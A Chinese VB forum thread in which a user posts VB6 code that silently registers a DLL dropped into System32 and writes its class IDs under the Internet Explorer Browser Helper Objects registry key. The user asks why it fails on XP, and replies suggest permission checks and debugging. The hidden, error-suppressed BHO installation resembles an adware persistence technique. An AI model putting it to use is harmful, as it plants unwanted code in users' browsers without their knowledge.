vb程序在XP系统下无法 获取DLL的clisd
我用VB6.0写了一个绿色软件(50K)左右,在windows2003下执行正常,但在XP下却没有任何反映~~
追踪调试发现,获取DLL的Clisd为空~~
我把代码先放上来、供大家分析一下
Private Sub register()
On Error Resume Next
Dim cl As String, pid As Long, h As Long
cl = "c:\windows\system32\project.dll"
pid = Shell("cmd /c regsvr32 /s " + cl, vbHide)
h = OpenProcess(PROCESS_ALL_ACCESS, False, pid)
WaitForSingleObject h, -1
cl = Replace(cl, """", "")
Set ti = ta.TypeLibInfofromFile(cl)
Dim clisd As String
For Each tc In ti.CoClasses
clisd = tc.Guid
wsh.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\" + clisd + "\", Null
Next
End Sub
本例实现了,把释放到System32下的project.dll的 clisd 值,添加到 BHO下~~
在开发电脑上运行正常、但跑到XP下就不行了~~
请高手和前辈指点一下~~~
谢谢~~
我的QQ:544588699
分确实不多了~~~
去掉你的On Error Resume Next看看什么错误,另外看看是不是因为权限的关系
可能是权限问题
还有你可以在xp环境下调试一下
建议在XP环境下调试一下,看看project.dll是否注册成功。
相关问答:
我用Delphi写了一个DLL, DLL里有MDI的子窗体,DLL初始化时 传递调用者的TApplication给DLL, 在Delphi7中调用已经通过,但是不知道在VB中有无TApplication对应类型, 是否能在VB中调用?
你好,用instance不是就可以了 ......
请教一下:我用vb写了一个调用Illustrator的测试程序,代码很简单:Private Sub Command1_Click()
Dim app As New Illustrator.Application
Dim doc As Illustrator.Document
Dim thislayer As Illustrator.Layer ......
希望大家能够帮我下.感谢了..
源码传在大米盘 VB6 的源码 http://www.damipan.com/file/3wNoKLW.html
转为VB.NET源码.
小弟完全是新手 不懂的说.麻烦各位帮忙一下
我的EMAIL是:4452 ......
想在warcraft3里进行写屏操作【如对战平台中的胜负提示信息】,效果就像游戏平台中一样,我试过在一窗口中写入文字,然后一直让窗口强制最前,虽然能实现文字显示,但是文字会不断闪烁,而且有不确定BUG,通过论坛搜 ......
在vb中怎么判断,插入到数据库中的值是重复的,本人才刚接触VB语言,甚是有好多地方还不懂,还请各位大侠们给出代码,谢谢了呀!!!
插入之前select一下阿。
或者写一个组合SQL插入语句,例如
IF not Exist(
& ......